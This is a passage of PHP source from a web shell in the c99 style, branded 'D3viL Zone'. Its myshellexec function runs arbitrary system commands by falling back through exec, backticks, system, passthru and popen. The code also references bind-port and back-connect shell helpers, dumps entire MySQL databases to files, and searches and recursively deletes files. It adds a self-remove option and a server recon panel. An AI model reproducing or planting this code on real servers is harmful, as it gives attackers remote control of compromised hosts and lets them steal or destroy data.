982 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
983
984 if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
985
986 return fs_move_dir($d,$t);
987
988 }
989
990 elseif (is_file($d))
991
992 {
993
994 if(copy($d,$t)) {return unlink($d);}
995
996 else {unlink($t); return FALSE;}
997
998 }
999
1000 else {return FALSE;}
1001
1002}
1003
1004}
1005
1006if (!function_exists("fs_rmdir"))
1007
1008{
1009
1010function fs_rmdir($d)
1011
1012{
1013
1014 $h = opendir($d);
1015
1016 while (($o = readdir($h)) !== FALSE)
1017
1018 {
1019
1020 if (($o != ".") and ($o != ".."))
1021
1022 {
1023
1024 if (!is_dir($d.$o)) {unlink($d.$o);}
1025
1026 else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
1027
1028 }
1029
1030 }
1031
1032 closedir($h);
1033
1034 rmdir($d);
1035
1036 return !is_dir($d);
1037
1038}
1039
1040}
1041
1042if (!function_exists("fs_rmobj"))
1043
1044{
1045
1046function fs_rmobj($o)
1047
1048{
1049
1050 $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
1051
1052 if (is_dir($o))
1053
1054 {
1055
1056 if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
1057
1058 return fs_rmdir($o);
1059
1060 }
1061
1062 elseif (is_file($o)) {return unlink($o);}
1063
1064 else {return FALSE;}
1065
1066}
1067
1068}
1069
1070if (!function_exists("myshellexec"))
1071
1072{
1073
1074function myshellexec($cmd)
1075
1076{
1077
1078 global $disablefunc;
1079
1080 $result = "";
1081
1082 if (!empty($cmd))
1083
1084 {
1085
1086 if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
1087
1088 elseif (($result = `$cmd`) !== FALSE) {}
1089
1090 elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
1091
1092 elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
1093
1094 elseif (is_resource($fp = popen($cmd,"r")))
1095
1096 {
1097
1098 $result = "";
1099
1100 while(!feof($fp)) {$result .= fread($fp,1024);}
1101
1102 pclose($fp);
1103
1104 }
1105
1106 }
1107
1108 return $result;
1109
1110}
1111
1112}
1113
1114if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
1115
1116if (!function_exists("view_perms"))
1117
1118{
1119
1120function view_perms($mode)
1121
1122{
1123
1124 if (($mode & 0xC000) === 0xC000) {$type = "s";}
1125
1126 elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
1127
1128 elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
1129
1130 elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
1131
1132 elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
1133
1134 elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
1135
1136 elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
1137
1138 else {$type = "?";}
1139
1140
1141
1142 $owner["read"] = ($mode & 00400)?"r":"-";
1143
1144 $owner["write"] = ($mode & 00200)?"w":"-";
1145
1146 $owner["execute"] = ($mode & 00100)?"x":"-";
1147
1148 $group["read"] = ($mode & 00040)?"r":"-";
1149
1150 $group["write"] = ($mode & 00020)?"w":"-";
1151
1152 $group["execute"] = ($mode & 00010)?"x":"-";
1153
1154 $world["read"] = ($mode & 00004)?"r":"-";
1155
1156 $world["write"] = ($mode & 00002)? "w":"-";
1157
1158 $world["execute"] = ($mode & 00001)?"x":"-";
1159
1160
1161
1162 if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
1163
1164 if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
1165
1166 if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
1167
1168
1169
1170 return $type.join("",$owner).join("",$group).join("",$world);
1171
1172}
1173
1174}
1175
1176if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
1177
1178if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
1179
1180if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
1181
1182if (!function_exists("parse_perms"))
1183
1184{
1185
1186function parse_perms($mode)
1187
1188{
1189
1190 if (($mode & 0xC000) === 0xC000) {$t = "s";}
1191
1192 elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
1193
1194 elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
1195
1196 elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
1197
1198 elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
1199
1200 elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
1201
1202 elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
1203
1204 else {$t = "?";}
1205
1206 $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
1207
1208 $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
1209
1210 $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
1211
1212 return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
1213
1214}
1215
1216}
1217
1218if (!function_exists("parsesort"))
1219
1220{
1221
1222function parsesort($sort)
1223
1224{
1225
1226 $one = intval($sort);
1227
1228 $second = substr($sort,-1);
1229
1230 if ($second != "d") {$second = "a";}
1231
1232 return array($one,$second);
1233
1234}
1235
1236}
1237
1238if (!function_exists("view_perms_color"))
1239
1240{
1241
1242function view_perms_color($o)
1243
1244{
1245
1246 if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
1247
1248 elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
1249
1250 else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
1251
1252}
1253
1254}
1255
1256if (!function_exists("cyb3rgetsource"))
1257
1258{
1259
1260function cyb3rgetsource($fn)
1261
1262{
1263
1264 global $cyb3r_sourcesurl;
1265
1266 $array = array(
1267
1268 "cyb3r_bindport.pl" => "cyb3r_bindport_pl.txt",
1269
1270 "cyb3r_bindport.c" => "cyb3r_bindport_c.txt",
1271
1272 "cyb3r_backconn.pl" => "cyb3r_backconn_pl.txt",
1273
1274 "cyb3r_backconn.c" => "cyb3r_backconn_c.txt",
1275
1276 "cyb3r_datapipe.pl" => "cyb3r_datapipe_pl.txt",
1277
1278 "cyb3r_datapipe.c" => "cyb3r_datapipe_c.txt",
1279
1280 );
1281
1282}
1283
1284}
1285
1286if (!function_exists("mysql_dump"))
1287
1288{
1289
1290function mysql_dump($set)
1291
1292{
1293
1294 global $shver;
1295
1296 $sock = $set["sock"];
1297
1298 $db = $set["db"];
1299
1300 $print = $set["print"];
1301
1302 $nl2br = $set["nl2br"];
1303
1304 $file = $set["file"];
1305
1306 $add_drop = $set["add_drop"];
1307
1308 $tabs = $set["tabs"];
1309
1310 $onlytabs = $set["onlytabs"];
1311
1312 $ret = array();
1313
1314 $ret["err"] = array();
1315
1316 if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
1317
1318 if (empty($db)) {$db = "db";}
1319
1320 if (empty($print)) {$print = 0;}
1321
1322 if (empty($nl2br)) {$nl2br = 0;}
1323
1324 if (empty($add_drop)) {$add_drop = TRUE;}
1325
1326 if (empty($file))
1327
1328 {
1329
1330 $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
1331
1332 }
1333
1334 if (!is_array($tabs)) {$tabs = array();}
1335
1336 if (empty($add_drop)) {$add_drop = TRUE;}
1337
1338 if (sizeof($tabs) == 0)
1339
1340 {
1341
1342 // retrive tables-list
1343
1344 $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
1345
1346 if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
1347
1348 }
1349
1350 $out = "# Dumped by cyb3rell.SQL v. ".$shver."
1351
1352# Home page: http://ccteam.ru
1353
1354#
1355
1356# Host settings:
1357
1358# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
1359
1360# Date: ".date("d.m.Y H:i:s")."
1361
1362# DB: \"".$db."\"
1363
1364#---------------------------------------------------------
1365
1366";
1367
1368 $c = count($onlytabs);
1369
1370 foreach($tabs as $tab)
1371
1372 {
1373
1374 if ((in_array($tab,$onlytabs)) or (!$c))
1375
1376 {
1377
1378 if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
1379
1380 // recieve query for create table structure
1381
1382 $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
1383
1384 if (!$res) {$ret["err"][] = mysql_smarterror();}
1385
1386 else
1387
1388 {
1389
1390 $row = mysql_fetch_row($res);
1391
1392 $out .= $row["1"].";\n\n";
1393
1394 // recieve table variables
1395
1396 $res = mysql_query("SELECT * FROM `$tab`", $sock);
1397
1398 if (mysql_num_rows($res) > 0)
1399
1400 {
1401
1402 while ($row = mysql_fetch_assoc($res))
1403
1404 {
1405
1406 $keys = implode("`, `", array_keys($row));
1407
1408 $values = array_values($row);
1409
1410 foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
1411
1412 $values = implode("', '", $values);
1413
1414 $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
1415
1416 $out .= $sql;
1417
1418 }
1419
1420 }
1421
1422 }
1423
1424 }
1425
1426 }
1427
1428 $out .= "#---------------------------------------------------------------------------------\n\n";
1429
1430 if ($file)
1431
1432 {
1433
1434 $fp = fopen($file, "w");
1435
1436 if (!$fp) {$ret["err"][] = 2;}
1437
1438 else
1439
1440 {
1441
1442 fwrite ($fp, $out);
1443
1444 fclose ($fp);
1445
1446 }
1447
1448 }
1449
1450 if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
1451
1452 return $out;
1453
1454}
1455
1456}
1457
1458if (!function_exists("mysql_buildwhere"))
1459
1460{
1461
1462function mysql_buildwhere($array,$sep=" and",$functs=array())
1463
1464{
1465
1466 if (!is_array($array)) {$array = array();}
1467
1468 $result = "";
1469
1470 foreach($array as $k=>$v)
1471
1472 {
1473
1474 $value = "";
1475
1476 if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
1477
1478 $value .= "'".addslashes($v)."'";
1479
1480 if (!empty($functs[$k])) {$value .= ")";}
1481
1482 $result .= "`".$k."` = ".$value.$sep;
1483
1484 }
1485
1486 $result = substr($result,0,strlen($result)-strlen($sep));
1487
1488 return $result;
1489
1490}
1491
1492}
1493
1494if (!function_exists("mysql_fetch_all"))
1495
1496{
1497
1498function mysql_fetch_all($query,$sock)
1499
1500{
1501
1502 if ($sock) {$result = mysql_query($query,$sock);}
1503
1504 else {$result = mysql_query($query);}
1505
1506 $array = array();
1507
1508 while ($row = mysql_fetch_array($result)) {$array[] = $row;}
1509
1510 mysql_free_result($result);
1511
1512 return $array;
1513
1514}
1515
1516}
1517
1518if (!function_exists("mysql_smarterror"))
1519
1520{
1521
1522function mysql_smarterror($type,$sock)
1523
1524{
1525
1526 if ($sock) {$error = mysql_error($sock);}
1527
1528 else {$error = mysql_error();}
1529
1530 $error = htmlspecialchars($error);
1531
1532 return $error;
1533
1534}
1535
1536}
1537
1538if (!function_exists("mysql_query_form"))
1539
1540{
1541
1542function mysql_query_form()
1543
1544{
1545
1546 global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
1547
1548 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
1549
1550 if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
1551
1552 if ((!$submit) or ($sql_act))
1553
1554 {
1555
1556 echo "<table border=0><tr><td><form name=\"cyb3r_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
1557
1558 if ($tbl_struct)
1559
1560 {
1561
1562 echo "<td valign=\"top\"><b>Fields:</b><br>";
1563
1564 foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» <a href=\"#\" onclick=\"document.cyb3r_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
1565
1566 echo "</td></tr></table>";
1567
1568 }
1569
1570 }
1571
1572 if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
1573
1574}
1575
1576}
1577
1578if (!function_exists("mysql_create_db"))
1579
1580{
1581
1582function mysql_create_db($db,$sock="")
1583
1584{
1585
1586 $sql = "CREATE DATABASE `".addslashes($db)."`;";
1587
1588 if ($sock) {return mysql_query($sql,$sock);}
1589
1590 else {return mysql_query($sql);}
1591
1592}
1593
1594}
1595
1596if (!function_exists("mysql_query_parse"))
1597
1598{
1599
1600function mysql_query_parse($query)
1601
1602{
1603
1604 $query = trim($query);
1605
1606 $arr = explode (" ",$query);
1607
1608 /*array array()
1609
1610 {
1611
1612 "METHOD"=>array(output_type),
1613
1614 "METHOD1"...
1615
1616 ...
1617
1618 }
1619
1620 if output_type == 0, no output,
1621
1622 if output_type == 1, no output if no error
1623
1624 if output_type == 2, output without control-buttons
1625
1626 if output_type == 3, output with control-buttons
1627
1628 */
1629
1630 $types = array(
1631
1632 "SELECT"=>array(3,1),
1633
1634 "SHOW"=>array(2,1),
1635
1636 "DELETE"=>array(1),
1637
1638 "DROP"=>array(1)
1639
1640 );
1641
1642 $result = array();
1643
1644 $op = strtoupper($arr[0]);
1645
1646 if (is_array($types[$op]))
1647
1648 {
1649
1650 $result["propertions"] = $types[$op];
1651
1652 $result["query"] = $query;
1653
1654 if ($types[$op] == 2)
1655
1656 {
1657
1658 foreach($arr as $k=>$v)
1659
1660 {
1661
1662 if (strtoupper($v) == "LIMIT")
1663
1664 {
1665
1666 $result["limit"] = $arr[$k+1];
1667
1668 $result["limit"] = explode(",",$result["limit"]);
1669
1670 if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
1671
1672 unset($arr[$k],$arr[$k+1]);
1673
1674 }
1675
1676 }
1677
1678 }
1679
1680 }
1681
1682 else {return FALSE;}
1683
1684}
1685
1686}
1687
1688if (!function_exists("cyb3rfsearch"))
1689
1690{
1691
1692function cyb3rfsearch($d)
1693
1694{
1695
1696 global $found;
1697
1698 global $found_d;
1699
1700 global $found_f;
1701
1702 global $search_i_f;
1703
1704 global $search_i_d;
1705
1706 global $a;
1707
1708 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
1709
1710 $h = opendir($d);
1711
1712 while (($f = readdir($h)) !== FALSE)
1713
1714 {
1715
1716 if($f != "." && $f != "..")
1717
1718 {
1719
1720 $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
1721
1722 if (is_dir($d.$f))
1723
1724 {
1725
1726 $search_i_d++;
1727
1728 if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
1729
1730 if (!is_link($d.$f)) {cyb3rfsearch($d.$f);}
1731
1732 }
1733
1734 else
1735
1736 {
1737
1738 $search_i_f++;
1739
1740 if ($bool)
1741
1742 {
1743
1744 if (!empty($a["text"]))
1745
1746 {
1747
1748 $r = @file_get_contents($d.$f);
1749
1750 if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
1751
1752 if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
1753
1754 if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
1755
1756 else {$bool = strpos(" ".$r,$a["text"],1);}
1757
1758 if ($a["text_not"]) {$bool = !$bool;}
1759
1760 if ($bool) {$found[] = $d.$f; $found_f++;}
1761
1762 }
1763
1764 else {$found[] = $d.$f; $found_f++;}
1765
1766 }
1767
1768 }
1769
1770 }
1771
1772 }
1773
1774 closedir($h);
1775
1776}
1777
1778}
1779
1780if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
1781
1782//Sending headers
1783
1784@ob_start();
1785
1786@ob_implicit_flush(0);
1787
1788function onphpshutdown()
1789
1790{
1791
1792 global $gzipencode,$ft;
1793
1794 if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
1795
1796 {
1797
1798 $v = @ob_get_contents();
1799
1800 @ob_end_clean();
1801
1802 @ob_start("ob_gzHandler");
1803
1804 echo $v;
1805
1806 @ob_end_flush();
1807
1808 }
1809
1810}
1811
1812function cyb3rexit()
1813
1814{
1815
1816 onphpshutdown();
1817
1818 exit;
1819
1820}
1821
1822
1823if (empty($tmpdir))
1824
1825{
1826
1827 $tmpdir = ini_get("upload_tmp_dir");
1828
1829 if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
1830
1831}
1832
1833$tmpdir = realpath($tmpdir);
1834
1835$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
1836
1837if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
1838
1839if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
1840
1841else {$tmpdir_logs = realpath($tmpdir_logs);}
1842
1843if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
1844
1845{
1846
1847 $safemode = TRUE;
1848
1849 $hsafemode = "<font color=green>ON (secure)</font>";
1850 $sfmode = "<font color=green><b>ON (secure)</b></font>";
1851}
1852
1853else {$safemode = FALSE; $hsafemode = "<font color=red>OFF (not secure)</font>"; $sfmode = "<font color=red><b>OFF (not secure)</b></font>";}
1854
1855$v = @ini_get("open_basedir");
1856
1857if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";}
1858
1859else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";}
1860
1861$sort = htmlspecialchars($sort);
1862
1863if (empty($sort)) {$sort = $sort_default;}
1864
1865$sort[1] = strtolower($sort[1]);
1866
1867$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
1868
1869if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
1870
1871$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),'[<a href="http://www.google.com/search?q='.$kernel.' '. $release.'" target=_blank ><b><u><font color="red">Google</font></u></b></a>]',htmlspecialchars($DISP_SERVER_SOFTWARE));
1872
1873@ini_set("highlight.bg",$highlight_bg); //FFFFFF
1874
1875@ini_set("highlight.comment",$highlight_comment); //#FF8000
1876
1877@ini_set("highlight.default",$highlight_default); //#0000BB
1878
1879@ini_set("highlight.html",$highlight_html); //#000000
1880
1881@ini_set("highlight.keyword",$highlight_keyword); //#007700
1882
1883@ini_set("highlight.string",$highlight_string); //#DD0000
1884
1885if (!is_array($actbox)) {$actbox = array();}
1886
1887$dspact = $act = htmlspecialchars($act);
1888
1889$disp_fullpath = $ls_arr = $notls = null;
1890
1891$ud = urlencode($d);
1892
1893?>
1894
1895<center>
1896<TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0">
1897<tr>
1898<td><center><p><a href="?"><img src="https://lh3.googleusercontent.com/-KmkZsrq2yVg/VbVPSzdDR5I/AAAAAAAAA7M/aTLwsKUZ1_U/w426-h333/boy_walking_with_india_flag.gif" height="68px" width="66px" border="0px"/></a><br />D3viL Zone | IHS<br /><?php echo $shver; ?> </p></center></td>
1899<td width="90%">
1900<TABLE style="BORDER-COLLAPSE: collapse" borderColorDark=#c0c0c0 cellPadding=3 width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=0>
1901 <tr>
1902 <td width="9%" ><b>Software :</b></td>
1903 <td ><b><?php echo $DISP_SERVER_SOFTWARE.' [<a href="'.$expltlink.'" target=_blank><b><u><font color="yellow">Exploit DB</font></u></b></a>]'; ?></b></td>
1904 <td width="9%"><?php echo "<a href=\"".$surl."act=serverinfo\" ><b><u>Server</u> I.P.</b></a>"?></td>
1905 <td width="9%"><b><?php echo getenv('SERVER_ADDR'); ?></b></td>
1906 </tr>
1907 <tr>
1908 <td width="9%" ><?php echo "<a href=\"".$surl."act=security\" ><b><u>Uname-a</u> :</b></a>"?></td>
1909 <td ><b><?php echo wordwrap(php_uname(),90,"<br>",1); ?></b></td>
1910 <td width="9%"><?php echo "<a href=\"".$surl."act=clientinfo\" ><b><u>Client</u> I.P.</b></a>"?></td>
1911 <td width="9%"><b><?php echo $_SERVER['REMOTE_ADDR']; ?></b></td>
1912 </tr>
1913 <tr>
1914 <td width="9%" ><?php echo "<a href=\"".$surl."act=processes\" ><b><u>Username</u> :</b></a>"?></td>
1915 <td ><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b></td>
1916 <td width="9%"><?php echo "<a href=\"".$surl."act=systeminfo\" ><b><u>Sys</u>tem<u>info</u></b></a>"?></td>
1917 <td width="9%"></td>
1918 </tr>
1919 <tr>
1920 <td width="9%" ><b>Safe Mode :</b></td>
1921 <td ><b><?php echo $hsafemode; ?></b></td>
1922 <td width="9%"><b></b></td>
1923 <td width="9%"></td>
1924 </tr>
1925 <tr>
1926 <td width="9%" ><b>Directory :</b></td>
1927 <td ><b>
1928 <?php
1929
1930$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
1931
1932if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
1933
1934$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
1935
1936if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
1937
1938$d = str_replace("\\\\","\\",$d);
1939
1940$dispd = htmlspecialchars($d);
1941
1942$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
1943
1944$i = 0;
1945
1946foreach($pd as $b)
1947
1948{
1949
1950 $t = "";
1951
1952 $j = 0;
1953
1954 foreach ($e as $r)
1955
1956 {
1957
1958 $t.= $r.DIRECTORY_SEPARATOR;
1959
1960 if ($j == $i) {break;}
1961
1962 $j++;
1963
1964 }
1965
1966 echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
1967
1968 $i++;
1969
1970}
1971
1972echo " ";
1973
1974if (is_writable($d))
1975
1976{
1977
1978 $wd = TRUE;
1979
1980 $wdt = "<font color=green>[ ok ]</font>";
1981
1982 echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
1983
1984}
1985
1986else
1987
1988{
1989
1990 $wd = FALSE;
1991
1992 $wdt = "<font color=red>[ Read-Only ]</font>";
1993
1994 echo "<b>".view_perms_color($d)."</b>";
1995
1996}
1997 ?>
1998 </b></td>
1999 <td width="9%"><?php echo "<a href=\"".$surl."act=selfremove\" ><b><font color='orange'>Self <u>Remove</u></font></b></a>"?></td>
2000 <td width="9%"></td>
2001 </tr>
2002 <tr>
2003 <td width="9%" ><b>Free Space :</b></td>
2004 <td ><b>
2005 <?php if (is_callable("disk_free_space"))
2006
2007{
2008
2009 $free = disk_free_space($d);
2010
2011 $total = disk_total_space($d);
2012
2013 if ($free === FALSE) {$free = 0;}
2014
2015 if ($total === FALSE) {$total = 0;}
2016
2017 if ($free < 0) {$free = 0;}
2018
2019 if ($total < 0) {$total = 0;}
2020
2021 $used = $total-$free;
2022
2023 $free_percent = round(100/($total/$free),2);
2024
2025 echo "<b>".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>";
2026
2027}?>
2028 </b></td>
2029 <td width="9%"><?php echo "<a href=\"".$surl."act=feedback\" ><b>Feed<u>back</u></b></a>"?></td>
2030 <td width="9%"></td>
2031 </tr>
2032 <tr>
2033 <td width="9%" ><b>Drives :</b></td>
2034 <td ><b>
2035 <?php $letters = "";
2036
2037if ($win)
2038
2039{
2040
2041 $v = explode("\\",$d);
2042
2043 $v = $v[0];
2044
2045 foreach (range("a","z") as $letter)
2046
2047 {
2048
2049 $bool = $isdiskette = in_array($letter,$safemode_diskettes);
2050
2051 if (!$bool) {$bool = is_dir($letter.":\\");}
2052
2053 if ($bool)
2054
2055 {
2056
2057 $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ ";
2058
2059 if ($letter.":" != $v) {$letters .= $letter;}
2060
2061 else {$letters .= "<font color=green>".$letter."</font>";}
2062
2063 $letters .= " ]</a> ";
2064
2065 }
2066
2067 }
2068
2069 if (!empty($letters)) {echo $letters."<br>";}
2070}
2071 ?></b></td>
2072 <td width="9%"><a href="<?php echo $self.'?logout'?>"><b><font color='green'>I'm <u>Out</u> !</font></b></a></td>
2073 <td width="9%"></td>
2074 </tr>
2075
2076 </table>
2077</td>
2078
2079</tr>
2080</table>
2081
2082<TABLE style="BORDER-COLLAPSE: collapse" height="1" cellSpacing=0 borderColorDark=#c0c0c0 cellPadding=5 width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1>
2083<tr><td width="100%" valign="top">
2084 ADMIN: <?php echo $_SERVER['SERVER_ADMIN'];?> <font color="silver">|</font>
2085 PHP : <?php echo "<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>".$phpVersion."</u></b></a>"?> <font color="silver">|</font>
2086 Curl : <?php echo function_exists('curl_version')?("<font color='red'>Enabled</font>"):("Disabled"); ?> <font color="silver">|</font>
2087 Oracle : <?php echo function_exists('ocilogon')?("<font color='red'>Enabled</font>"):("Disabled"); ?> <font color="silver">|</font>
2088 MySQL : <?php echo function_exists('mysql_connect')?("<font color='red'>Enabled</font>"):("Disabled");?> <font color="silver">|</font>
2089 MSSQL : <?php echo function_exists('mssql_connect')?("<font color='red'>Enabled</font>"):("Disabled"); ?> <font color="silver">|</font>
2090 PostgreSQL : <?php echo function_exists('pg_connect')?("<font color='red'>Enabled</font>"):("Disabled"); ?> <font color="silver">|</font>
2091 Disable functions : <?php getDisabledFunctions(); ?>
2092 </td></tr>
2093</table>
2094
2095<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#c0c0c0 cellPadding=5 width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0">
2096<tr><td width="100%" valign="top">
2097 <?php
2098 if (count($quicklaunch) > 0)
2099
2100 {
2101
2102 foreach($quicklaunch as $item)
2103
2104 {
2105
2106 $item[1] = str_replace("%d",urlencode($d),$item[1]);
2107
2108 $item[1] = str_replace("%sort",$sort,$item[1]);
2109
2110 $v = realpath($d."..");
2111
2112 if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
2113
2114 $item[1] = str_replace("%upd",urlencode($v),$item[1]);
2115
2116 echo "<a href=\"".$item[1]."\">".$item[0]."</a> ";
2117
2118 }
2119
2120 }?>
2121 </td>
2122 </tr>
2123 </table><br>
2124<?php
2125
2126if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}
2127
2128echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
2129
2130if ($act == "") {$act = $dspact = "ls";}
2131
2132if ($act == "sql")
2133
2134{
2135
2136 $sql_surl = $surl."act=sql";
2137
2138 if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
2139
2140 if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
2141
2142 if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
2143
2144 if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
2145
2146 if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
2147
2148 $sql_surl .= "&";
2149
2150 ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3>
